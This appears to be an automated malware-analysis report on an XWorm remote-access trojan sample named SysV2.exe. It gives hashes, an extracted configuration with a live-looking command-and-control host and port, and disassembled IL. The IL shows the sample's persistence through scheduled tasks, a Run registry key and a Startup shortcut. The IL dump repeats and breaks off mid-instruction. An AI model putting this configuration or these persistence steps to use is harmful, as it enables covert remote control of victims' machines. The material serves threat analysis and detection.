Symbol Ofbuscation Score
|
Hash | Hash Value |
|---|---|
| MD5 | 69957ae31f93d0178e89b2e4ad1bd6c7
|
| Sha1 | 566d574eceda14cc711aadaa3f9f0b80b4bb9fbb
|
| Sha256 | 8ccea06cdc1f3cdcfdd0a9fa2b01316d7d42422b84bfa5422feab22a87feb477
|
| Sha384 | edd57f17c91139cc8abd2400924a41cee832beb306863873cf56afd681302b45ffa8abc234f0cd464b5d42bf5dcdee31
|
| Sha512 | cf3f42d68cd821ec8546dfeacd79bde9988d478d182af711b56f842560cd723eeb66af613b8d93dbd97ac24a4fa0c81f81015610a448ea1d799f7e9420d92015
|
| SSDeep | 1536:enSxe0RQ8tXh9/8sH1xRk00bPSbBWXyK+1C3OuOH1Qq9l:uSxe0OM/1xRKbPSIvBOH1Qs
|
| TLSH | D3737D183BF94129E0FF9FB44CF57266C679F3136903DA5F24D902862627A85CE812F9
|
PeID
|
Config. Field0 | Value |
|---|---|
| Mutex | Wc2e14E7TDGpUeE7 |
| Hosts | dns4up.duckdns.org |
| Port | 6000 |
| KEY | <666666> |
| USBNM | <XWormmm> |
| LoggerPath | %Public% |
| family | xworm |
|
Name0 | Value |
|---|---|
| Info | PE Detect: PeReader OK (file layout) |
| Module Name | SysV2.exe |
| Full Name | SysV2.exe |
| EntryPoint | System.Void Stub.HnGCXBO1ssXTtGGNTa2NqfCJldXm7AjqdZ8EbCdIKEsiNn4fWWhLR2kxxW98j8fgiLj8EINVoU39lDlG6GqwyGYQoBj5::cNg9O7wUTXTVZYPT4bq5nQrIn1AMFFMXz8mEaGcDIX8IhCqk9kp7QTYMmHScHZBL5aOD7BcEg8M0rT4qq1o5omOqYwb3() |
| Scope Name | SysV2.exe |
| Scope Type | ModuleDef |
| Kind | Windows |
| Runtime Version | v4.0.30319 |
| Tables Header Version | 512 |
| WinMD Version | <null> |
| Assembly Name | SysV2 |
| Assembly Version | 1.0.0.0 |
| Assembly Culture | <null> |
| Has PublicKey | False |
| PublicKey Token | <null> |
| Target Framework | <null> |
| Total Strings | 345 |
| Main Method | System.Void Stub.HnGCXBO1ssXTtGGNTa2NqfCJldXm7AjqdZ8EbCdIKEsiNn4fWWhLR2kxxW98j8fgiLj8EINVoU39lDlG6GqwyGYQoBj5::cNg9O7wUTXTVZYPT4bq5nQrIn1AMFFMXz8mEaGcDIX8IhCqk9kp7QTYMmHScHZBL5aOD7BcEg8M0rT4qq1o5omOqYwb3() |
| Main IL Instruction Count | 317 |
| Main IL | ldsfld System.Int32 H05NFzkTTyI9jkoJ29S91VXRXRxgNuNkCBj935g9A8CCjuMA2tSgMUz52ETJdJRkfi3jkyeYxs9rugtJy5K6MvD8piQs::3kqMovQ5qXUYAUYuNhluSZ64zlDSNaJxQ2NGU9DeYl3t3ceZ15naMDxgSe5ggHofnhl8FsZ5ppFn5tzP6mP6CGdEsyWY ldc.i4 1000 mul.ovf <null> call System.Void System.Threading.Thread::Sleep(System.Int32) ldsfld System.String H05NFzkTTyI9jkoJ29S91VXRXRxgNuNkCBj935g9A8CCjuMA2tSgMUz52ETJdJRkfi3jkyeYxs9rugtJy5K6MvD8piQs::MMbMD66QC6dc1Pf5RwoG7wy0HXIfssyRBiprGA3YyIhpxWEELlEA9CsdnH5N9J2h6l3oAEWHIG90EfPiwbA8guCtsOBq call System.Object Stub.bzMUCNDcFumgsrSBKNg::IE7XrDA1kUHvnrzZp9g(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String H05NFzkTTyI9jkoJ29S91VXRXRxgNuNkCBj935g9A8CCjuMA2tSgMUz52ETJdJRkfi3jkyeYxs9rugtJy5K6MvD8piQs::MMbMD66QC6dc1Pf5RwoG7wy0HXIfssyRBiprGA3YyIhpxWEELlEA9CsdnH5N9J2h6l3oAEWHIG90EfPiwbA8guCtsOBq ldsfld System.String H05NFzkTTyI9jkoJ29S91VXRXRxgNuNkCBj935g9A8CCjuMA2tSgMUz52ETJdJRkfi3jkyeYxs9rugtJy5K6MvD8piQs::iAHQwYhkG6hL8XwqCMJ91L3JrtMxZK2PdziQyYub1kXHTUg9F4RKCQXBns52AxuIFdShxUG3hTH9VlHWQ3ayNEwy3j7i call System.Object Stub.bzMUCNDcFumgsrSBKNg::IE7XrDA1kUHvnrzZp9g(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String H05NFzkTTyI9jkoJ29S91VXRXRxgNuNkCBj935g9A8CCjuMA2tSgMUz52ETJdJRkfi3jkyeYxs9rugtJy5K6MvD8piQs::iAHQwYhkG6hL8XwqCMJ91L3JrtMxZK2PdziQyYub1kXHTUg9F4RKCQXBns52AxuIFdShxUG3hTH9VlHWQ3ayNEwy3j7i ldsfld System.String H05NFzkTTyI9jkoJ29S91VXRXRxgNuNkCBj935g9A8CCjuMA2tSgMUz52ETJdJRkfi3jkyeYxs9rugtJy5K6MvD8piQs::V87pu8uAIzBZrAxoqaw7t770gQXh9JkHPdN54s5r1R1cVjpruf4m7JMyA5bvwR78Eh8bBksgerrGSvcz1A9M2oEpTpwl call System.Object Stub.bzMUCNDcFumgsrSBKNg::IE7XrDA1kUHvnrzZp9g(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String H05NFzkTTyI9jkoJ29S91VXRXRxgNuNkCBj935g9A8CCjuMA2tSgMUz52ETJdJRkfi3jkyeYxs9rugtJy5K6MvD8piQs::V87pu8uAIzBZrAxoqaw7t770gQXh9JkHPdN54s5r1R1cVjpruf4m7JMyA5bvwR78Eh8bBksgerrGSvcz1A9M2oEpTpwl ldsfld System.String H05NFzkTTyI9jkoJ29S91VXRXRxgNuNkCBj935g9A8CCjuMA2tSgMUz52ETJdJRkfi3jkyeYxs9rugtJy5K6MvD8piQs::Tj6cjOxAphwxHRHF6RMc4zrHe6lfnIXrzz9Q72YKDupCNLxh2HaQyoGHHORNnrwUWnsAGWJcUMH0ZN58zPEkLvEHWUvm call System.Object Stub.bzMUCNDcFumgsrSBKNg::IE7XrDA1kUHvnrzZp9g(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String H05NFzkTTyI9jkoJ29S91VXRXRxgNuNkCBj935g9A8CCjuMA2tSgMUz52ETJdJRkfi3jkyeYxs9rugtJy5K6MvD8piQs::Tj6cjOxAphwxHRHF6RMc4zrHe6lfnIXrzz9Q72YKDupCNLxh2HaQyoGHHORNnrwUWnsAGWJcUMH0ZN58zPEkLvEHWUvm ldsfld System.String H05NFzkTTyI9jkoJ29S91VXRXRxgNuNkCBj935g9A8CCjuMA2tSgMUz52ETJdJRkfi3jkyeYxs9rugtJy5K6MvD8piQs::2C6cu3akrwilKY58uvTFQ661RabEDqFyfSUSKvCUrR0X7IiKCOCdalA0dGmaQUVf1oo48jwuz1ssnP3bvTUnhG5EmXAn call System.Object Stub.bzMUCNDcFumgsrSBKNg::IE7XrDA1kUHvnrzZp9g(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String H05NFzkTTyI9jkoJ29S91VXRXRxgNuNkCBj935g9A8CCjuMA2tSgMUz52ETJdJRkfi3jkyeYxs9rugtJy5K6MvD8piQs::2C6cu3akrwilKY58uvTFQ661RabEDqFyfSUSKvCUrR0X7IiKCOCdalA0dGmaQUVf1oo48jwuz1ssnP3bvTUnhG5EmXAn ldsfld System.String H05NFzkTTyI9jkoJ29S91VXRXRxgNuNkCBj935g9A8CCjuMA2tSgMUz52ETJdJRkfi3jkyeYxs9rugtJy5K6MvD8piQs::wXwW5cHL61YugFSvWKR44HWTZtc2OHjgofpYK1UTT4WKcbznuTuJF8ce8sjGzUs15vMxFuXvk1BYRYhTMs4DHp0nGEQK call System.Object Stub.bzMUCNDcFumgsrSBKNg::IE7XrDA1kUHvnrzZp9g(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String H05NFzkTTyI9jkoJ29S91VXRXRxgNuNkCBj935g9A8CCjuMA2tSgMUz52ETJdJRkfi3jkyeYxs9rugtJy5K6MvD8piQs::wXwW5cHL61YugFSvWKR44HWTZtc2OHjgofpYK1UTT4WKcbznuTuJF8ce8sjGzUs15vMxFuXvk1BYRYhTMs4DHp0nGEQK ldsfld System.String H05NFzkTTyI9jkoJ29S91VXRXRxgNuNkCBj935g9A8CCjuMA2tSgMUz52ETJdJRkfi3jkyeYxs9rugtJy5K6MvD8piQs::QtIMHPLYFK7rFQ29IqRowhv2RAgY5Xy4YkGqs5ifBl68DQ94KzYFjgaTB88yHEbfMSB3b8l1kb6b5w0Fp3A6xHduFmaC call System.Object Stub.bzMUCNDcFumgsrSBKNg::IE7XrDA1kUHvnrzZp9g(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.String System.Environment::ExpandEnvironmentVariables(System.String) stsfld System.String H05NFzkTTyI9jkoJ29S91VXRXRxgNuNkCBj935g9A8CCjuMA2tSgMUz52ETJdJRkfi3jkyeYxs9rugtJy5K6MvD8piQs::QtIMHPLYFK7rFQ29IqRowhv2RAgY5Xy4YkGqs5ifBl68DQ94KzYFjgaTB88yHEbfMSB3b8l1kb6b5w0Fp3A6xHduFmaC ldsfld System.String H05NFzkTTyI9jkoJ29S91VXRXRxgNuNkCBj935g9A8CCjuMA2tSgMUz52ETJdJRkfi3jkyeYxs9rugtJy5K6MvD8piQs::pUWskdhz5ODKXiytMzRRW1HdwujzksCDOs8LHdf1zph6TzzoR42vc27R7L70FMS30xaMUlgLPTExOJ0isYuaTeDftisU call System.Object Stub.bzMUCNDcFumgsrSBKNg::IE7XrDA1kUHvnrzZp9g(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String H05NFzkTTyI9jkoJ29S91VXRXRxgNuNkCBj935g9A8CCjuMA2tSgMUz52ETJdJRkfi3jkyeYxs9rugtJy5K6MvD8piQs::pUWskdhz5ODKXiytMzRRW1HdwujzksCDOs8LHdf1zph6TzzoR42vc27R7L70FMS30xaMUlgLPTExOJ0isYuaTeDftisU leave.s IL_00CB: call System.Boolean Stub.chICARNkxT4I7lwQ8Q5::eHpw1edkAbEC5q5eZHO() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.3 <null> ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_00CB: call System.Boolean Stub.chICARNkxT4I7lwQ8Q5::eHpw1edkAbEC5q5eZHO() call System.Boolean Stub.chICARNkxT4I7lwQ8Q5::eHpw1edkAbEC5q5eZHO() brtrue.s IL_00D8: call System.Void Stub.HnGCXBO1ssXTtGGNTa2NqfCJldXm7AjqdZ8EbCdIKEsiNn4fWWhLR2kxxW98j8fgiLj8EINVoU39lDlG6GqwyGYQoBj5::VQchD0ZT0NvZ1Zfu98yPjNSf7uiRsz4UiTg9Gc3GD5ATQWlmi0OpORk2PQTAnpPscBjk9cGgruWlU5ypu7EfeWPCTHyT() ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Stub.HnGCXBO1ssXTtGGNTa2NqfCJldXm7AjqdZ8EbCdIKEsiNn4fWWhLR2kxxW98j8fgiLj8EINVoU39lDlG6GqwyGYQoBj5::VQchD0ZT0NvZ1Zfu98yPjNSf7uiRsz4UiTg9Gc3GD5ATQWlmi0OpORk2PQTAnpPscBjk9cGgruWlU5ypu7EfeWPCTHyT() leave.s IL_00EE: ldsfld System.String H05NFzkTTyI9jkoJ29S91VXRXRxgNuNkCBj935g9A8CCjuMA2tSgMUz52ETJdJRkfi3jkyeYxs9rugtJy5K6MvD8piQs::QtIMHPLYFK7rFQ29IqRowhv2RAgY5Xy4YkGqs5ifBl68DQ94KzYFjgaTB88yHEbfMSB3b8l1kb6b5w0Fp3A6xHduFmaC dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_4 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_00EE: ldsfld System.String H05NFzkTTyI9jkoJ29S91VXRXRxgNuNkCBj935g9A8CCjuMA2tSgMUz52ETJdJRkfi3jkyeYxs9rugtJy5K6MvD8piQs::QtIMHPLYFK7rFQ29IqRowhv2RAgY5Xy4YkGqs5ifBl68DQ94KzYFjgaTB88yHEbfMSB3b8l1kb6b5w0Fp3A6xHduFmaC ldsfld System.String H05NFzkTTyI9jkoJ29S91VXRXRxgNuNkCBj935g9A8CCjuMA2tSgMUz52ETJdJRkfi3jkyeYxs9rugtJy5K6MvD8piQs::QtIMHPLYFK7rFQ29IqRowhv2RAgY5Xy4YkGqs5ifBl68DQ94KzYFjgaTB88yHEbfMSB3b8l1kb6b5w0Fp3A6xHduFmaC ldstr \ ldsfld System.String H05NFzkTTyI9jkoJ29S91VXRXRxgNuNkCBj935g9A8CCjuMA2tSgMUz52ETJdJRkfi3jkyeYxs9rugtJy5K6MvD8piQs::pUWskdhz5ODKXiytMzRRW1HdwujzksCDOs8LHdf1zph6TzzoR42vc27R7L70FMS30xaMUlgLPTExOJ0isYuaTeDftisU call System.String System.String::Concat(System.String,System.String,System.String) stloc.0 <null> ldloc.0 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) callvirt System.IO.DirectoryInfo System.IO.FileInfo::get_Directory() callvirt System.String System.IO.DirectoryInfo::get_FullName() stloc.s V_5 ldloc.s V_5 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.Boolean System.IO.Directory::Exists(System.String) brtrue.s IL_0130: ldloc.0 ldloc.s V_5 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String) pop <null> ldloc.0 <null> call System.Boolean System.IO.File::Exists(System.String) brfalse.s IL_0147: ldc.i4 1000 ldloc.0 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) stloc.s V_6 ldloc.s V_6 callvirt System.Void System.IO.FileInfo::Delete() ldc.i4 1000 call System.Void System.Threading.Thread::Sleep(System.Int32) ldloc.0 <null> ldsfld System.String Stub.chICARNkxT4I7lwQ8Q5::yQ0n8cnyVW8r4kCiWpb call System.Byte[] System.IO.File::ReadAllBytes(System.String) call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) leave.s IL_0172: ldstr "schtasks.exe" dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_7 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0172: ldstr "schtasks.exe" ldstr schtasks.exe newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String) stloc.s V_9 ldloc.s V_9 ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) call System.String Stub.zrTEfv7DrEFOCVJDy5j78vhDfrTUPGDYSQ9MBDBUIOreA75zEBQ4VLrLkhxNf7GYHAUB5WK9LDQYB::LsPx0vLi1thVeA0rWqcboGV7M1KK6BLxWTfZq3D9jXqOsvBD3iWlyOIy8Xv5rpiRsR4g9SKavLsPl() call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String) brfalse.s IL_01D8: ldloc.s V_9 ldloc.s V_9 ldc.i4.5 <null> newarr System.String stloc.s V_14 ldloc.s V_14 ldc.i4.0 <null> ldstr /create /f /RL HIGHEST /sc minute /mo 1 /tn " stelem.ref <null> ldloc.s V_14 ldc.i4.1 <null> ldsfld System.String H05NFzkTTyI9jkoJ29S91VXRXRxgNuNkCBj935g9A8CCjuMA2tSgMUz52ETJdJRkfi3jkyeYxs9rugtJy5K6MvD8piQs::pUWskdhz5ODKXiytMzRRW1HdwujzksCDOs8LHdf1zph6TzzoR42vc27R7L70FMS30xaMUlgLPTExOJ0isYuaTeDftisU call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) stelem.ref <null> ldloc.s V_14 ldc.i4.2 <null> ldstr " /tr " stelem.ref <null> ldloc.s V_14 ldc.i4.3 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_14 ldc.i4.4 <null> ldstr " stelem.ref <null> ldloc.s V_14 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) br.s IL_021C: ldloc.s V_9 ldloc.s V_9 ldc.i4.5 <null> newarr System.String stloc.s V_14 ldloc.s V_14 ldc.i4.0 <null> ldstr /create /f /sc minute /mo 1 /tn " stelem.ref <null> ldloc.s V_14 ldc.i4.1 <null> ldsfld System.String H05NFzkTTyI9jkoJ29S91VXRXRxgNuNkCBj935g9A8CCjuMA2tSgMUz52ETJdJRkfi3jkyeYxs9rugtJy5K6MvD8piQs::pUWskdhz5ODKXiytMzRRW1HdwujzksCDOs8LHdf1zph6TzzoR42vc27R7L70FMS30xaMUlgLPTExOJ0isYuaTeDftisU call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) stelem.ref <null> ldloc.s V_14 ldc.i4.2 <null> ldstr " /tr " stelem.ref <null> ldloc.s V_14 ldc.i4.3 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_14 ldc.i4.4 <null> ldstr " stelem.ref <null> ldloc.s V_14 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) ldloc.s V_9 call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) stloc.s V_8 ldloc.s V_8 callvirt System.Void System.Diagnostics.Process::WaitForExit() leave.s IL_023D: call My.Z1up9XhB5QuvrhzHmEk03j6DZ9uxjY0tUvfjpNm6WkcejsTtPbUn35eniQ20MmEr0qBf3XCjSmgyjWv0wVUubJvRmYoC My.7K2TZGrieTKPZLGGVbgsz88YIQYzT7yTQLVhnDl8Mthv3l7fMdmHiJWQsWD6ogPqeagEOcWd32aB9tF7smc6hcJyQaiT::AX1VcWGHue4mDy3F9mNo1ACN21DI1LNXNK2t0bjXbOJEYcMOTKtcWRejNoWn030bBhkI26ulO2EqJkUcgvXuHS0dlo2o() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_10 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_023D: call My.Z1up9XhB5QuvrhzHmEk03j6DZ9uxjY0tUvfjpNm6WkcejsTtPbUn35eniQ20MmEr0qBf3XCjSmgyjWv0wVUubJvRmYoC My.7K2TZGrieTKPZLGGVbgsz88YIQYzT7yTQLVhnDl8Mthv3l7fMdmHiJWQsWD6ogPqeagEOcWd32aB9tF7smc6hcJyQaiT::AX1VcWGHue4mDy3F9mNo1ACN21DI1LNXNK2t0bjXbOJEYcMOTKtcWRejNoWn030bBhkI26ulO2EqJkUcgvXuHS0dlo2o() call My.Z1up9XhB5QuvrhzHmEk03j6DZ9uxjY0tUvfjpNm6WkcejsTtPbUn35eniQ20MmEr0qBf3XCjSmgyjWv0wVUubJvRmYoC My.7K2TZGrieTKPZLGGVbgsz88YIQYzT7yTQLVhnDl8Mthv3l7fMdmHiJWQsWD6ogPqeagEOcWd32aB9tF7smc6hcJyQaiT::AX1VcWGHue4mDy3F9mNo1ACN21DI1LNXNK2t0bjXbOJEYcMOTKtcWRejNoWn030bBhkI26ulO2EqJkUcgvXuHS0dlo2o() callvirt Microsoft.VisualBasic.MyServices.RegistryProxy Microsoft.VisualBasic.Devices.ServerComputer::get_Registry() callvirt Microsoft.Win32.RegistryKey Microsoft.VisualBasic.MyServices.RegistryProxy::get_CurrentUser() ldstr SOFTWARE\Microsoft\Windows\CurrentVersion\Run ldc.i4.1 <null> callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean) ldsfld System.String H05NFzkTTyI9jkoJ29S91VXRXRxgNuNkCBj935g9A8CCjuMA2tSgMUz52ETJdJRkfi3jkyeYxs9rugtJy5K6MvD8piQs::pUWskdhz5ODKXiytMzRRW1HdwujzksCDOs8LHdf1zph6TzzoR42vc27R7L70FMS30xaMUlgLPTExOJ0isYuaTeDftisU call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) ldloc.0 <null> callvirt System.Void Microsoft.Win32.RegistryKey::SetValue(System.String,System.Object) leave.s IL_0278: ldc.i4.7 dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_11 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0278: ldc.i4.7 ldc.i4.7 <null> call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder) ldstr \ ldsfld System.String H05NFzkTTyI9jkoJ29S91VXRXRxgNuNkCBj935g9A8CCjuMA2tSgMUz52ETJdJRkfi3jkyeYxs9rugtJy5K6MvD8piQs::pUWskdhz5ODKXiytMzRRW1HdwujzksCDOs8LHdf1zph6TzzoR42vc27R7L70FMS30xaMUlgLPTExOJ0isYuaTeDftisU call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) ldstr .lnk call System.String System.String::Concat(System.String,System.String,System.String,System.String) stloc.s V_12 ldstr WScript.Shell ldstr call System.Object Microsoft.VisualBasic.Interaction::CreateObject(System.String,System.String) ldnull <null> ldstr CreateShortcut ldc.i4.1 <null> newarr System.Object stloc.s V_15 ldloc.s V_15 ldc.i4.0 <null> ldloc.s V_12 stelem.ref <null> ldloc.s V_15 stloc.s V_16 ldloc.s V_16 ldnull <null> ldnull <null> ldc.i4.1 <null> newarr System.Boolean stloc.s V_17 ldloc.s V_17 ldc.i4.0 <null> ldc.i4.1 <null> stelem.i1 <null> ldloc.s V_17 call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[]) ldloc.s V_17 ldc.i4.0 <null> ldelem.i1 <null> brfalse.s IL_02FD: stloc.s V_18 ldloc.s V_16 ldc.i4.0 <null> ldelem.ref <null> call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object) ldtoken System.String call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle) call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type) castclass System.String stloc.s V_12 stloc.s V_18 ldloc.s V_18 ldnull <null> ldstr TargetPath ldc.i4.1 <null> newarr System.Object stloc.s V_19 ldloc.s V_19 ldc.i4.0 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_19 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldloc.s V_18 ldnull <null> ldstr WorkingDirectory ldc.i4.1 <null> newarr System.Object stloc.s V_19 ldloc.s V_19 ldc.i4.0 <null> ldstr stelem.ref <null> ldloc.s V_19 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldloc.s V_18 ldnull <null> ldstr Save ldc.i4.0 <null> newarr System.Object ldnull <null> ldnull <null> ldnull <null> ldc.i4.1 <null> call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean) pop <null> ldnull <null> stloc.s V_18 ldloc.s V_12 ldc.i4.3 <null> newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode) stsfld System.IO.FileStream Stub.chICARNkxT4I7lwQ8Q5::2LNMeLJscVhRQdxAlil leave.s IL_037C: call System.Void Stub.chICARNkxT4I7lwQ8Q5::ErxqTnbYw21j6svQmHw() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_13 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_037C: call System.Void Stub.chICARNkxT4I7lwQ8Q5::ErxqTnbYw21j6svQmHw() call System.Void Stub.chICARNkxT4I7lwQ8Q5::ErxqTnbYw21j6svQmHw() ldnull <null> ldftn System.Void Stub.HnGCXBO1ssXTtGGNTa2NqfCJldXm7AjqdZ8EbCdIKEsiNn4fWWhLR2kxxW98j8fgiLj8EINVoU39lDlG6GqwyGYQoBj5::7Db5mZCQJwTl9FIGbudzmbfTJoWoMVJ9hgUmEenwYIpJXiJh6BGvll1pD3m0KJSE82fDHtqYk7jyq() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) callvirt System.Void System.Threading.Thread::Start() call System.String Stub.zrTEfv7DrEFOCVJDy5j78vhDfrTUPGDYSQ9MBDBUIOreA75zEBQ4VLrLkhxNf7GYHAUB5WK9LDQYB::LsPx0vLi1thVeA0rWqcboGV7M1KK6BLxWTfZq3D9jXqOsvBD3iWlyOIy8Xv5rpiRsR4g9SKavLsPl() call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String) brfalse.s IL_03A8: ldnull call System.Void Stub.SMTKPy0cpAEHxdFGNpH::d1qZDVDS4LUCN8r6q5i() ldnull <null> ldftn System.Void Stub.HnGCXBO1ssXTtGGNTa2NqfCJldXm7AjqdZ8EbCdIKEsiNn4fWWhLR2kxxW98j8fgiLj8EINVoU39lDlG6GqwyGYQoBj5::5MREwzxv8bF2xA71ItHucHkPSuId4bqc4CcGsstzZIW9PO2dPjtmEMjb96LrnmfNJePO4fgdbV2O7() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.1 <null> ldnull <null> ldftn System.Void Stub.HnGCXBO1ssXTtGGNTa2NqfCJldXm7AjqdZ8EbCdIKEsiNn4fWWhLR2kxxW98j8fgiLj8EINVoU39lDlG6GqwyGYQoBj5::JFEO1snO3nU4KGQP8CSVojjbehuI7kruAuTObsLtdOJikGukNeaJQtj3NFN8dZbaByWGj9mUCCdbW() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.2 <null> ldloc.1 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Join() ret <null> |
| Module Name | SysV2.exe |
| Full Name | SysV2.exe |
| EntryPoint | System.Void Stub.HnGCXBO1ssXTtGGNTa2NqfCJldXm7AjqdZ8EbCdIKEsiNn4fWWhLR2kxxW98j8fgiLj8EINVoU39lDlG6GqwyGYQoBj5::cNg9O7wUTXTVZYPT4bq5nQrIn1AMFFMXz8mEaGcDIX8IhCqk9kp7QTYMmHScHZBL5aOD7BcEg8M0rT4qq1o5omOqYwb3() |
| Scope Name | SysV2.exe |
| Scope Type | ModuleDef |
| Kind | Windows |
| Runtime Version | v4.0.30319 |
| Tables Header Version | 512 |
| WinMD Version | <null> |
| Assembly Name | SysV2 |
| Assembly Version | 1.0.0.0 |
| Assembly Culture | <null> |
| Has PublicKey | False |
| PublicKey Token | <null> |
| Target Framework | <null> |
| Total Strings | 345 |
| Main Method | System.Void Stub.HnGCXBO1ssXTtGGNTa2NqfCJldXm7AjqdZ8EbCdIKEsiNn4fWWhLR2kxxW98j8fgiLj8EINVoU39lDlG6GqwyGYQoBj5::cNg9O7wUTXTVZYPT4bq5nQrIn1AMFFMXz8mEaGcDIX8IhCqk9kp7QTYMmHScHZBL5aOD7BcEg8M0rT4qq1o5omOqYwb3() |
| Main IL Instruction Count | 317 |
| Main IL | ldsfld System.Int32 H05NFzkTTyI9jkoJ29S91VXRXRxgNuNkCBj935g9A8CCjuMA2tSgMUz52ETJdJRkfi3jkyeYxs9rugtJy5K6MvD8piQs::3kqMovQ5qXUYAUYuNhluSZ64zlDSNaJxQ2NGU9DeYl3t3ceZ15naMDxgSe5ggHofnhl8FsZ5ppFn5tzP6mP6CGdEsyWY ldc.i4 1000 mul.ovf <null> call System.Void System.Threading.Thread::Sleep(System.Int32) ldsfld System.String H05NFzkTTyI9jkoJ29S91VXRXRxgNuNkCBj935g9A8CCjuMA2tSgMUz52ETJdJRkfi3jkyeYxs9rugtJy5K6MvD8piQs::MMbMD66QC6dc1Pf5RwoG7wy0HXIfssyRBiprGA3YyIhpxWEELlEA9CsdnH5N9J2h6l3oAEWHIG90EfPiwbA8guCtsOBq call System.Object Stub.bzMUCNDcFumgsrSBKNg::IE7XrDA1kUHvnrzZp9g(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String H05NFzkTTyI9jkoJ29S91VXRXRxgNuNkCBj935g9A8CCjuMA2tSgMUz52ETJdJRkfi3jkyeYxs9rugtJy5K6MvD8piQs::MMbMD66QC6dc1Pf5RwoG7wy0HXIfssyRBiprGA3YyIhpxWEELlEA9CsdnH5N9J2h6l3oAEWHIG90EfPiwbA8guCtsOBq ldsfld System.String 